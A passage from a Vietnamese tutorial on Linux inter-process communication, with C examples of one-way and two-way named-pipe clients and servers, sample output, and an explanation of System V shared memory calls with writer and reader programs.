Kiểm tra, nếu người dùng nhập “kết thúc” hoặc khác với “kết thúc”. Dù bằng cách nào, nó sẽ gửi một thông báo đến máy chủ. Tuy nhiên, nếu chuỗi là "kết thúc", điều này sẽ đóng FIFO và cũng kết thúc quá trình.
Lặp lại vô hạn cho đến khi người dùng nhập chuỗi “end”.
Bây giờ chúng ta hãy xem xét tệp máy chủ FIFO.
/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mknod(FIFO_FILE, S_IFIFO|0640, 0);
strcpy(end, "end");
while(1) {
fd = open(FIFO_FILE, O_RDONLY);
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
}
return 0;
}
Các bước biên dịch và thực hiện
Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3
Bây giờ, chúng ta hãy xem mã mẫu khách hàng FIFO.
/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
int end_process;
int stringlen;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Hãy xem xét kết quả đầu ra.
Các bước biên dịch và thực hiện
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3
Giao tiếp hai chiều sử dụng ống được đặt tên
Thông tin liên lạc giữa các đường ống có nghĩa là một chiều. Các đường ống bị hạn chế đối với giao tiếp một chiều nói chung và cần ít nhất hai ống để giao tiếp hai chiều. Các đường ống chỉ dành cho các quá trình liên quan đến nhau. Pipes không thể được sử dụng cho giao tiếp các quá trình không liên quan, chẳng hạn, nếu chúng ta muốn thực hiện một quá trình từ một thiết bị đầu cuối và một quá trình khác từ một thiết bị đầu cuối khác, thì không thể thực hiện được với đường ống. Chúng ta có bất kỳ cách đơn giản nào để giao tiếp giữa hai quy trình, nói những quy trình không liên quan một cách đơn giản? Câu trả lời là CÓ. Đường ống được đặt tên có nghĩa là để giao tiếp giữa hai hoặc nhiều quy trình không liên quan và cũng có thể có giao tiếp hai chiều.
Hiện tại, chúng ta đã thấy giao tiếp một chiều giữa các đường ống được đặt tên, tức là, các thông báo từ máy khách đến máy chủ. Bây giờ, chúng ta hãy xem xét giao tiếp hai chiều, tức là máy khách gửi thông điệp đến máy chủ và máy chủ nhận thông báo và gửi lại một thông báo khác cho máy khách bằng cách sử dụng cùng một đường dẫn được đặt tên.
Sau đây là một ví dụ -
Step 1 - Tạo hai tiến trình, một là Fifoserver_twoway và một quá trình khác là Fifoclient_twoway.
Step 2 - Quá trình máy chủ thực hiện như sau:
Tạo một đường ống được đặt tên (sử dụng hàm thư viện mkfifo ()) với tên “Fifo_twoway” trong thư mục / tmp, nếu chưa được tạo.
Mở đường ống được đặt tên cho mục đích đọc và ghi.
Tại đây, đã tạo FIFO với quyền đọc và ghi cho Chủ sở hữu. Đọc cho Nhóm và không có quyền cho Người khác.
Chờ đợi vô hạn cho một tin nhắn từ khách hàng.
Nếu thông báo nhận được từ máy khách không phải là "kết thúc", hãy in thông báo và đảo ngược chuỗi. Chuỗi đảo ngược được gửi trở lại máy khách. Nếu thông báo là "kết thúc", đóng năm mươi và kết thúc quá trình.
Step 3 - Quy trình khách hàng thực hiện như sau:
Mở đường ống được đặt tên cho mục đích đọc và ghi.
Chấp nhận chuỗi từ người dùng.
Kiểm tra, nếu người dùng nhập “kết thúc” hoặc khác với “kết thúc”. Dù bằng cách nào, nó sẽ gửi một thông báo đến máy chủ. Tuy nhiên, nếu chuỗi là "kết thúc", điều này sẽ đóng FIFO và cũng kết thúc quá trình.
Nếu thông báo được gửi không phải là “kết thúc”, nó sẽ đợi thông báo (chuỗi đảo ngược) từ máy khách và in chuỗi đã đảo ngược.
Lặp lại vô hạn cho đến khi người dùng nhập chuỗi “end”.
Bây giờ, chúng ta hãy xem mã mẫu máy chủ FIFO.
/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mkfifo(FIFO_FILE, S_IFIFO|0640);
strcpy(end, "end");
fd = open(FIFO_FILE, O_RDWR);
while(1) {
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
reverse_string(readbuf);
printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
write(fd, readbuf, strlen(readbuf));
/*
sleep - This is to make sure other process reads this, otherwise this
process would retrieve the message
*/
sleep(2);
}
return 0;
}
void reverse_string(char *str) {
int last, limit, first;
char temp;
last = strlen(str) - 1;
limit = last/2;
first = 0;
while (first < last) {
temp = str[first];
str[first] = str[last];
str[last] = temp;
first++;
last--;
}
return;
}
Các bước biên dịch và thực hiện
FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3
Bây giờ, chúng ta hãy xem mã mẫu khách hàng FIFO.
/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
int fd;
int end_process;
int stringlen;
int read_bytes;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_RDWR);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Các bước biên dịch và thực hiện
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3
Bộ nhớ dùng chung là bộ nhớ được chia sẻ giữa hai hoặc nhiều tiến trình. Tuy nhiên, tại sao chúng ta cần chia sẻ bộ nhớ hoặc một số phương tiện giao tiếp khác?
Nhắc lại, mỗi tiến trình có không gian địa chỉ riêng, nếu tiến trình nào muốn giao tiếp một số thông tin từ không gian địa chỉ của chính nó với các tiến trình khác thì chỉ có thể thực hiện được với kỹ thuật IPC (inter process Communication). Như chúng ta đã biết, giao tiếp có thể là giữa các quá trình liên quan hoặc không liên quan.
Thông thường, giao tiếp giữa các quá trình liên quan được thực hiện bằng cách sử dụng Ống hoặc Ống có tên. Các quá trình không liên quan (giả sử một quá trình đang chạy trong một thiết bị đầu cuối và một quá trình khác trong một thiết bị đầu cuối khác) giao tiếp có thể được thực hiện bằng cách sử dụng Ống có tên hoặc thông qua các kỹ thuật IPC phổ biến của Bộ nhớ dùng chung và Hàng đợi tin nhắn.
Chúng ta đã xem các kỹ thuật IPC của Đường ống và Đường ống được đặt tên và bây giờ đã đến lúc biết các kỹ thuật IPC còn lại viz., Bộ nhớ dùng chung, Hàng đợi tin nhắn, Semaphores, Tín hiệu và Ánh xạ bộ nhớ.
Trong chương này, chúng ta sẽ biết tất cả về bộ nhớ dùng chung.
Chúng tôi biết rằng để giao tiếp giữa hai hoặc nhiều quy trình, chúng tôi sử dụng bộ nhớ dùng chung nhưng trước khi sử dụng bộ nhớ dùng chung, những gì cần phải thực hiện với các lệnh gọi hệ thống, chúng ta hãy xem điều này -
Tạo phân đoạn bộ nhớ dùng chung hoặc sử dụng phân đoạn bộ nhớ dùng chung đã được tạo (shmget ())
Đính kèm quy trình vào phân đoạn bộ nhớ chia sẻ đã được tạo (shmat ())
Tách tiến trình khỏi phân đoạn bộ nhớ chia sẻ đã được đính kèm (shmdt ())
Kiểm soát các hoạt động trên phân đoạn bộ nhớ được chia sẻ (shmctl ())
Chúng ta hãy xem xét một vài chi tiết về các lệnh gọi hệ thống liên quan đến bộ nhớ dùng chung.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, size_t size, int shmflg)
Lệnh gọi hệ thống trên tạo hoặc cấp phát một phân đoạn bộ nhớ dùng chung Hệ thống V. Các đối số cần được chuyển như sau:
Các first argument, key,nhận ra phân đoạn bộ nhớ được chia sẻ. Khóa có thể là một giá trị tùy ý hoặc một giá trị có thể được dẫn xuất từ hàm thư viện ftok (). Khóa cũng có thể là IPC_PRIVATE, có nghĩa là, đang chạy các quy trình với tư cách là máy chủ và máy khách (mối quan hệ mẹ và con), tức là thông báo quy trình liên quan đến nhau. Nếu máy khách muốn sử dụng bộ nhớ dùng chung với khóa này, thì nó phải là một tiến trình con của máy chủ. Ngoài ra, tiến trình con cần được tạo sau khi cha mẹ có được bộ nhớ dùng chung.
Các second argument, size, là kích thước của phân đoạn bộ nhớ dùng chung được làm tròn thành bội số của PAGE_SIZE.
Các third argument, shmflg,chỉ định / s cờ bộ nhớ được chia sẻ bắt buộc như IPC_CREAT (tạo phân đoạn mới) hoặc IPC_EXCL (Được sử dụng với IPC_CREAT để tạo phân đoạn mới và cuộc gọi không thành công, nếu phân đoạn đã tồn tại). Cần phải vượt qua các quyền.
Note - Tham khảo các phần trước để biết chi tiết về quyền.
Lệnh gọi này sẽ trả về một mã định danh bộ nhớ dùng chung hợp lệ (được sử dụng cho các lệnh gọi khác của bộ nhớ dùng chung) khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
#include <sys/types.h>
#include <sys/shm.h>
void * shmat(int shmid, const void *shmaddr, int shmflg)
Lệnh gọi hệ thống ở trên thực hiện thao tác bộ nhớ chia sẻ cho đoạn bộ nhớ dùng chung Hệ thống V tức là gắn đoạn bộ nhớ dùng chung vào không gian địa chỉ của quá trình gọi. Các đối số cần được chuyển như sau:
The first argument, shmid,là định danh của đoạn bộ nhớ dùng chung. Id này là định danh bộ nhớ dùng chung, là giá trị trả về của lệnh gọi hệ thống shmget ().
The second argument, shmaddr,là chỉ định địa chỉ đính kèm. Nếu shmaddr là NULL, mặc định hệ thống sẽ chọn địa chỉ phù hợp để đính kèm phân đoạn. Nếu shmaddr không phải là NULL và SHM_RND được chỉ định trong shmflg, thì tệp đính kèm bằng địa chỉ của bội số SHMLBA (Địa chỉ ranh giới dưới) gần nhất. Nếu không, shmaddr phải là địa chỉ căn chỉnh trang mà tại đó phần đính kèm bộ nhớ được chia sẻ xảy ra / bắt đầu.
The third argument, shmflg, chỉ định / s cờ bộ nhớ được chia sẻ bắt buộc như SHM_RND (làm tròn địa chỉ thành SHMLBA) hoặc SHM_EXEC (cho phép nội dung của phân đoạn được thực thi) hoặc SHM_RDONLY (đính kèm phân đoạn với mục đích chỉ đọc, theo mặc định nó là đọc-ghi) hoặc SHM_REMAP (thay thế ánh xạ hiện có trong phạm vi được chỉ định bởi shmaddr và tiếp tục cho đến khi kết thúc phân đoạn).
Lệnh gọi này sẽ trả về địa chỉ của đoạn bộ nhớ được chia sẻ đính kèm khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void *shmaddr)
Lệnh gọi hệ thống trên thực hiện hoạt động bộ nhớ dùng chung cho đoạn bộ nhớ dùng chung Hệ thống V tách đoạn bộ nhớ dùng chung khỏi không gian địa chỉ của quá trình gọi. Đối số cần được thông qua là -
Đối số, shmaddr, là địa chỉ của phân đoạn bộ nhớ chia sẻ được tách ra. Đoạn được tách ra phải là địa chỉ được trả về bởi lệnh gọi hệ thống shmat ().
Lệnh gọi này sẽ trả về 0 khi thành công và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
#include <sys/ipc.h>
#include <sys/shm.h>
int shmctl(int shmid, int cmd, struct shmid_ds *buf)
Lệnh gọi hệ thống ở trên thực hiện thao tác điều khiển cho một đoạn bộ nhớ dùng chung Hệ thống V. Các đối số sau cần được chuyển:
Đối số đầu tiên, shmid, là định danh của phân đoạn bộ nhớ dùng chung. Id này là định danh bộ nhớ dùng chung, là giá trị trả về của lệnh gọi hệ thống shmget ().
Đối số thứ hai, cmd, là lệnh để thực hiện thao tác điều khiển cần thiết trên đoạn bộ nhớ dùng chung.
Giá trị hợp lệ cho cmd là -
IPC_STAT- Sao chép thông tin về các giá trị hiện tại của từng thành viên trong struct shmid_ds vào cấu trúc được truyền bởi buf. Lệnh này yêu cầu quyền đọc đối với phân đoạn bộ nhớ được chia sẻ.
IPC_SET - Đặt ID người dùng, ID nhóm của chủ sở hữu, quyền, v.v. được trỏ đến theo cấu trúc buf.
IPC_RMID- Đánh dấu phân đoạn bị hủy. Phân đoạn chỉ bị phá hủy sau khi quá trình cuối cùng đã tách nó ra.
IPC_INFO - Trả về thông tin về giới hạn bộ nhớ dùng chung và các tham số trong cấu trúc được trỏ bởi buf.
SHM_INFO - Trả về một cấu trúc shm_info chứa thông tin về tài nguyên hệ thống được tiêu thụ bởi bộ nhớ dùng chung.
Đối số thứ ba, buf, là một con trỏ đến cấu trúc bộ nhớ dùng chung có tên struct shmid_ds. Các giá trị của cấu trúc này sẽ được sử dụng cho cả set hoặc get theo cmd.
Lời gọi này trả về giá trị tùy thuộc vào lệnh được truyền. Khi thành công IPC_INFO và SHM_INFO hoặc SHM_STAT trả về chỉ mục hoặc mã định danh của phân đoạn bộ nhớ dùng chung hoặc 0 cho các hoạt động khác và -1 trong trường hợp thất bại. Để biết nguyên nhân của lỗi, hãy kiểm tra với biến errno hoặc hàm perror ().
Chúng ta hãy xem xét chương trình mẫu sau đây.
Tạo hai quy trình, một quy trình để ghi vào bộ nhớ dùng chung (shm_write.c) và một quy trình khác để đọc từ bộ nhớ dùng chung (shm_read.c)
Chương trình thực hiện ghi vào bộ nhớ dùng chung bằng quá trình ghi (shm_write.c) và đọc từ bộ nhớ dùng chung bằng quá trình đọc (shm_read.c)
Trong bộ nhớ dùng chung, quá trình ghi, tạo bộ nhớ dùng chung có kích thước 1K (và các cờ) và gắn bộ nhớ dùng chung
Quá trình ghi ghi 5 lần Bảng chữ cái từ 'A' đến 'E', mỗi lần 1023 byte vào bộ nhớ dùng chung. Byte cuối cùng biểu thị sự kết thúc của bộ đệm
Quá trình đọc sẽ đọc từ bộ nhớ dùng chung và ghi vào đầu ra tiêu chuẩn
Các hành động trong quá trình đọc và ghi được thực hiện đồng thời
Sau khi hoàn thành việc ghi, quá trình ghi sẽ cập nhật để cho biết đã hoàn thành việc ghi vào bộ nhớ dùng chung (với biến hoàn chỉnh trong struct shmseg)
Quá trình đọc thực hiện đọc từ bộ nhớ được chia sẻ và hiển thị trên đầu ra cho đến khi nó nhận được dấu hiệu hoàn thành quá trình ghi (biến hoàn chỉnh trong struct shmseg)
Thực hiện quá trình đọc và ghi trong một vài lần để đơn giản và cũng để tránh vòng lặp vô hạn và làm phức tạp chương trình
Sau đây là mã cho quá trình ghi (Ghi vào Bộ nhớ dùng chung - Tệp: shm_write.c)
/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
char *bufptr;
int spaceavailable;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from buffer to shared memory */
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
for (numtimes = 0; numtimes < 5; numtimes++) {
shmp->cnt = fill_buffer(bufptr, spaceavailable);
shmp->complete = 0;
printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
sleep(3);
}
printf("Writing Process: Wrote %d times\n", numtimes);
shmp->complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
int fill_buffer(char * bufptr, int size) {
static char ch = 'A';
int filled_count;
//printf("size is %d\n", size);
memset(bufptr, ch, size - 1);
bufptr[size-1] = '\0';
if (ch > 122)
ch = 65;
if ( (ch >= 65) && (ch <= 122) ) {
if ( (ch >= 91) && (ch <= 96) ) {
ch = 65;
}
}
filled_count = strlen(bufptr);
//printf("buffer count is: %d\n", filled_count);
//printf("buffer filled is:%s\n", bufptr);
ch++;
return filled_count;
}
Các bước biên dịch và thực hiện
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete
Sau đây là mã cho quá trình đọc (Đọc từ Bộ nhớ dùng chung và ghi vào đầu ra tiêu chuẩn - Tệp: shm_read.c)
/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from shared memory to stdout*/
while (shmp->complete != 1) {
printf("segment contains : \n\"%s\"\n", shmp->buf);
if (shmp->cnt == -1) {
perror("read");
return 1;
}
printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
sleep(3);
}
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Các bước biên dịch và thực hiện
segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
